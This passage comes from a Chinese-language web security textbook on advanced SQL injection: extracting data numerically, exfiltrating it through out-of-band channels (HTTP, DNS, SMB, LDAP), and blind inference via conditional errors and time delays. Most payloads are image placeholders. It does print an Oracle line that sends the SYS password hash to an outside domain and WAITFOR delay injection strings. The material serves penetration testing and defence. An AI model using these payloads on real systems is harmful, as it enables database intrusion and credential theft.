尝试访问:

http://mdsec.net/addressbook/107/

9.2.10 高级利用

到现在为止,我们描述的所有攻击中,有一些现成的方法可帮助从数据库中提取有用的数据,例如,通过执行UNION攻击或在错误消息中返回数据。随着人们防御SQL注入威胁意识的增强,这种情形已经逐渐消失。如今,即使遇到SQL注入漏洞,攻击者仍然无法直接获取注入的查询的结果,这种情况日益增多。我们将讨论几种出现这种问题的情况,以及如何处理这些情况。

img001  注解  应用程序所有者应意识到,并非所有攻击都旨在盗窃敏感数据。一些攻击可能更具破坏性,例如,仅仅提交12个字符的输入,攻击者就能够使用关闭命令(shutdown)关闭一个MS-SQL数据库。

img252a

攻击者还可以注入恶意命令,如下面这些命令可删除一些数据库表:

img252b

1.获取数字数据

如果包含单引号的输入得到正确处理,那么应用程序中的字符串字段就不易受SQL注入攻击。但是,数字数据字段可能仍然存在漏洞。在这种字段中,用户输入并不包含在单引号中。这时攻击者只有通过应用程序的数值响应(numeric response),才能获得注入查询的结果。

在这种情况下,攻击者需要做的是获取数字形式的有用数据,对注入查询的结果进行处理。他们可以使用以下两个关键函数:

img002 ASCII,它返回输入字符的ASCII代码;

img002 SUBSTRING(或Oracle中的SUBSTR),它返回输入的子字符串。

这些函数可结合在一起使用,以数字形式从一个字符串中提取单独一个字符。例如:

SUBSTRING(‘Admin’,1,1)返回A

ASCII(‘A’)返回65

因此

ASCII(SUBSTR(‘Admin’,1,1))返回65

使用这两个函数,可以系统地将一个有用数据的字符串分割成单个的字符,并以数字形式分别返回每一个字符。在自定义攻击中,可以利用这种技巧,以一次一个字节的速度,迅速获得并重建大量基于字符串的数据。

img004  提示  在处理字符串操作和数字计算方面,不同数据库平台之间存在大量细微的区别,当实施这种高级攻击时,攻击者需要意识到这类区别。通过以下地址可以找到说明不同数据库之间这些区别的详细指南:http://sqlzoo.net/howto/source/z.dir/i08fun.xml。

我们曾经遇到上述问题的另一种表现形式,即应用程序返回的并不是真正的数字,而是一些以该数字为标识符的资源。应用程序根据用户的输入执行一个SQL查询,获得一个文档的数字标识符,然后将文档的内容返回给用户。在这种情况下,攻击者可以先获得标识符在相关数字范围内的每一份文档的备份,然后在文档内容与标识符之间建立映射。接下来,当实施前面描述的攻击时,攻击者就可以参考这个映射确定应用程序返回的每个文档的标识符,因而得到他们成功提取的字符的ASCII值。

2.使用带外通道

在许多SQL注入攻击中,应用程序并不在用户的浏览器中显示注入查询的结果,也不返回数据库生成的任何错误消息。很明显,在这种情况下,即使一个SQL注入漏洞确实存在,攻击者也无法对其加以利用,提取任意数据或执行任何其他操作。但是,这种想法是错误的,即使出现这种情况,仍然可以使用各种技巧获取数据、确认其他恶意操作是否取得成功。

许多时候,可以注入任意一个查询,但却无法获得查询结果。回到那个易受攻击的登录表单,它的用户名和密码字段易于遭受SQL注入:

img253a

除了修改查询逻辑以避开登录外,还可以注入一个完全独立的子查询,使用字符串连接符把这个子查询的结果与控制的数据项连接起来。例如:

img253b

应用程序将执行以下查询:

img253c

数据库将执行注入的任何子查询,并将它的结果附加在foo之后,然后查找所生成用户名的资料。当然,这种登录不会成功,但会执行注入的查询。在应用程序响应中收到的只是标准的登录失败消息。现在需要想办法获得注入查询的结果。

如果能对MS-SQL数据库使用批量查询(batch query),这时就会出现另一种情形。批量查询特别有用,因为它们允许执行一个完全独立的语句,在这个过程中,渗透测试员拥有全部的控制权,可以使用另外的SQL语句并针对不同的表进行查询。但是,因为批量查询执行查询的方式比较特殊,我们无法直接获得注入查询的执行结果,同样需要想办法获得注入查询的结果。

在这种情况下,一种获取数据的有效方法是使用带外通道。能够在数据库中执行任意SQL语句后,渗透测试员往往可以利用数据库的一些内置功能在数据库与自己的计算机之间建立网络连接,通过它传送从数据库中收集到的任何数据。

建立适当网络连接的方法依不同的数据库而定,而且取决于应用程序访问数据库所使用的用户权限。下面将描述一些使用每种数据库时最常用、最有效的技巧。

img007  MS-SQL

一些老式数据库,如MS-SQL2000以及更早的版本,可使用OpenRowSet命令与外部数据库建立连接并在其中插入任何数据。例如,下面的查询可使目标数据库与攻击者的数据库建立连接, 并将目标数据库的版本字符串插入表foo中:

img254a

注意,可以指定端口80,或者任何其他可能的值,以提高穿透防火墙建立外部连接的可能性。

img007  Oracle

Oracle 中包含大量低权限用户可访问的默认功能,可以使用它们建立带外连接。

UTL_HTTP包可用于向其他主机提出任意HTTP请求。UTL_HTTP包含丰富的功能,并支持代理服务器、cookie、重定向和验证。这意味着,如果攻击者已经攻破一个受到强大保护的企业内部网络中的数据库,他就能够利用企业代理服务器与因特网建立外部连接。

在下面的示例中,UTL_HTTP用于向攻击者控制的服务器传送注入查询的结果。

img254b

这个URL促使UTL_HTTP提出一个GET请求,要求访问包含all_users表中第一个用户名的URL。攻击者只需在mdattacker.net安装一个netcat监听器就可以收到结果。

img254c

UTL_INADDR包旨在将主机名解析为IP地址。它可用于在攻击者控制的服务器中生成任意DNS查询。许多时候,相比于UTL_HTTP攻击,这类攻击更可能取得成功,因为即使HTTP流量被阻止,通常DNS流量仍然能够穿透企业防火墙。攻击者能够利用这个包查找选择的主机名,将它作为子域放在他们控制的一个域名前面,以此迅速获得任意数据,例如:

img254d

它向包含SYS用户的密码散列(password hash)的mdattacker.net名称服务器发出下面这个DNS查询:

img254e

UTL_SMTP包可用于发送电子邮件。在出站电子邮件中发送这个包,即可获得大量从数据库中截取的数据。

UTL_TCP包可用于打开任意TCP套接字,以发送和接收网络数据。

img001  注解  在Oracle 11g中,ACL为上述许多资源提供保护,以防止任意数据库用户执行恶意操作。只需研究一下Oracle 11g中提供的新功能,就可以轻松避开该ACL,使用以下代码即可实现:

SYS.DBMS_LDAP.INIT((SELECT PASSWORD FROM SYS.USER$ WHERE NAME=‘SYS’)||‘.mdsec.net’,80)

img007 MySQL

SELECT…INTO OUTFILE命令可将任意一个查询的输出指向一个文件。指定的文件名可包含UNC路径,允许将输出指向自己计算机上的一个文件。例如:

img255a

要想接收到文件,必须在计算机上建立SMB共享,允许匿名写入访问。可以在基于Windows和UNIX的平台上配置共享,以实现匿名写入。如果无法接收到输出的文件,可能是因为SMB服务器的配置有问题。可以使用一个嗅探器确定目标服务器是否与指定计算机建立了入站连接(inbound connection),如果连接已经建立,参考服务器文档资料确保它得到正确配置。

img007  利用操作系统

通常可以在数据库服务器的操作系统上执行任意命令,以此实施权限提升攻击。这时,攻击者可以采用许多手段获得数据,如使用tftp、mail和telnet等内置命令,或者将数据复制到Web根目录使用浏览器获取。请参阅9.2.11节了解提升数据库权限的各种技巧。

3.使用推论:条件式响应

造成带外通道不可用的原因有许多。大多数情况下,是因为数据库处在一个受保护的网络中,它的边界防火墙禁止任何与因特网或其他网络的带外连接。这时,只能通过Web应用程序注入点(injection point)访问数据库。

在这种情况下,攻击或多或少带有盲目性质,但攻击者仍然可以使用各种技巧从数据库中获得任意数据。这些技巧全都基于如下概念:使用一个注入查询有条件地在数据库中触发某种可以探测的行为,然后根据这种行为是否发生推断出所需信息。

回到那个可注入用户名和密码字段以执行任意查询的登录功能:

img255b

假设还没有找到将注入查询的结果返回给浏览器的方法,但我们已经知道如何使用SQL注入改变应用程序的行为。例如,提交下面两个输入将得到截然不同的结果:

img255c

在第一种情况中,应用程序将允许攻击者以管理员的身份登录。在第二种情况中,登录尝试将会失败,因为1=2这个条件总为假。可以利用这种应用程序行为控制推断数据库中任意条件的真假。例如,使用前面描述的ASCII和SUBSTRING函数,攻击者可以测试截获字符串中的一个字符是否为特定的值。例如,提交下面这段输入将允许攻击者以管理员身份登录,因为经测试条件为真:

img255d

但是,提交下面的输入,登录不会取得成功,因为经测试条件为假:

img255e

提交大量这类查询,循环每个字符的所有可能的ASCII编码,直到出现一个“触点”,就能够以每次一个字节的速度,提取出整个字符串。

img007 引发条件性错误

在前面的示例中,应用程序拥有一些主要功能,可以通过注入一个现有的SQL查询直接控制它们的逻辑。攻击者能够劫持应用程序计划执行的行为(成功或失败的登录)以获得想要的信息。然而,并非所有攻击都这样简单。有时,注入的查询并不会给应用程序的行为(如日志机制)造成直接影响。或者,应用程序并不处理注入的一个子查询或批量查询。在这种情况下,攻击者必须根据特定的条件,争取在应用程序中造成可探测的行为差异。

David Litchfield发现了一种技巧,可在大多数情况下触发可探测的行为差异。其核心理念是注入一个查询,依照某个特定的条件引发一个数据库错误。如果发生数据库错误,可以通过HTTP500响应码,或者通过某种错误消息或反常行为(即使错误消息本身并未揭示任何有用的信息),从外部探测到这个错误。

这种技巧利用了数据库在求条件语句的值时表现出的一个行为特点:数据库将根据其他部分的情况,仅对那些需要求值的语句部分求值。包含WHERE子句的SELECT语句就是表现出这种行为的一个典型示例:

img256a

这条语句使数据库访问表Y的每一行,评估条件C。如果条件C为真,返回X。如果条件C永为假,永远不求出表达式X的值。

可以找到一个语法有效但如果求值就会生成错误的表达式X,对这种行为加以利用。在Oracle与MS-SQL中,被零除计算就是这样的表达式,如1/0。如果条件C为真,那么求表达式X的值,这造成一个数据库错误。如果条件C为假,就不会发生错误。因此,可以通过是否发生错误测试任意一个条件C。

下面的查询就是一个典型的示例,它查询默认的Oracle用户DBSNMP是否存在。如果该用户存在,就会求表达式1/0的值,造成一个错误。

img256b

下面的查询检查虚构用户AAAAAA是否存在。因为WHERE条件永为假,所以不求表达式1/0的值,因而不会发生错误。

img256c

这种技巧的目的是在应用程序中引发一个条件性响应,即使注入的查询不会给应用程序的逻辑或数据处理造成影响。因此,利用它就可以使用前面描述的推论技巧在各种情况下提取到所需要的数据。而且,由于这种技巧非常简单,相同的攻击字符串可应用于一系列数据库,其中的注入点则位于各种类型的SQL语句中。

这种技巧的用途非常广泛,因为它可以用在可以注入子查询的各种注入点中。例如:

img256d

以一个提供可搜索并可排序的联系人数据库的应用程序为例。用户控制着department和sort参数:

img257a

以上代码出现在以下后端查询中,该查询确定了department参数的值,但将sort参数连接到查询中:

img257b

攻击者无法修改WHERE子句或在ORDER BY子句后进行UNION查询,但攻击者可以通过以下语句建立某种推断条件:

img257c

如果user_objects表中的第一个对象名称的第一个字母等于‘Y’,将导致数据库尝试对1/0求值,这会导致错误,整个查询不会返回任何结果。如果第一个字母不等于‘Y’,原始查询的结果将按默认顺序返回。通过对Absinthe或SQLMap之类的SQL注入工具仔细设定这个条件,我们可以检索数据库中的每一条记录。

img007  使用时间延迟

尽管前面已经描述了各种复杂的技巧,但是,有些时候,这些技巧可能全部无效。有些情况下,可以注入一个不会在浏览器中显示结果的查询,但由于无法建立带外通道,即使它在数据库中引发错误,也并不会给应用程序的行为造成任何影响。

在这种情况下,幸亏NGSSoftware的Chris Anley和Sherief Hammad发现了一个技巧,我们才不至于手足无措。他们发现一种方法,设计出一个根据攻击者指定的条件造成时间延迟的查询。攻击者可以提交他设计的查询,然后监控服务器做出响应所花的时间。如果发生延迟,攻击者可推断条件为真。即使在两种情况下应用程序的响应完全相同,攻击者仍然可根据是否存在时间延迟从数据库中提取一比特数据。通过大量执行这类查询,攻击者就能够系统性地从数据库中提取任何复杂的数据,每次一比特。

引发适当时间延迟方法的精确性取决于所使用的目标数据库。MS-SQL中包含一个内置WAITFOR命令,可用于引起一个指定的时间延迟。例如,如果当前数据库用户为sa,下面的查询将造成5秒钟的时间延迟:

img257d

使用这个命令,攻击者就能够以各种方式提取任何信息。一种方法是利用前面已经描述的、在应用程序返回条件性响应时用到的相同技巧。现在,如果满足一个特殊条件,注入的查询就不再触发一个不同的应用程序响应,相反,它引发一次时间延迟。例如,下面的第二个查询将引发一次时间延迟,表示被截获字符串的第一个字母为A。

img257e

和前面一样,攻击者可以循环使用每个字符的所有可能值,直到发生时间延迟。另外,可以通过减少所需请求的数量,提高攻击的效率。另一个技巧是将每个字节的数据划分成比特,并在每次查询中获得一比特的数据。POWER命令和按位“与”运算符&可在逐比特的基础上指定条件。 例如,以下查询测试被截获数据的第一字节的第一比特,如果其值为1,终止查询:

img258a

下面的查询对第二比特执行相同的测试:

img258b

如前所述,这种引发时间延迟方法的准确性在很大程度上取决于所使用的数据库。在当前版本的My-SQL中,睡眠函数可创建指定时间的时间延迟,例如:

img258c

在5.0.12版本之前的MySQL中,不能使用睡眠函数,但可以使用基准函数(benchmark function)重复执行一个特定的操作。指示数据库执行一个处理器密集型操作,如SHA-1散列,大量的操作次数将造成一次可测量的时间延迟。例如:

img258d

在PostgreSQL中可使用PG_SLEEP函数,其使用方法与MySQL睡眠函数相同。

在Oracle中,没有产生时间延迟的内置方法,一种方法是使用UTL_HTTP连接一个不存在的服务器,造成一次操作超时。这会使数据库尝试与指定的服务器建立连接,并最终造成超时。例如:

img258e

可以利用这种行为根据指定的某个条件造成时间延迟。例如,如果默认的Oracle账户DBSNMP存在,下面的查询将会造成一次超时:

img258f

如前所述,在Oracle和MySQL数据库中,都可以使用SUBSTR(ING)和ASCII函数每次一字节地获取任意信息。

img004  提示  我们已经说明了如何使用时间延迟来获得有用的信息。然而,当对应用程序进行初步探查、检测SQL注入漏洞时,时间延迟技巧也可能非常有用。在一些完全盲目的SQL注入攻击中,浏览器中不会显示查询结果,所有错误都被应用程序以隐含的方式处理,使用提交专门设计的输入的标准技巧可能很难检测出漏洞。这时,使用时间延迟是在初步探查过程中检测一个漏洞是否存在的最有效方法。例如,如果后端数据库为MS-SQL,那么可以将下面的两个字符串轮流注入每个请求参数中,并监控应用程序响应请求所用的时间,从而确定所有漏洞:

‘; waitfor delay ‘0:30:0’--

1; waitfor delay ‘0:30:0’--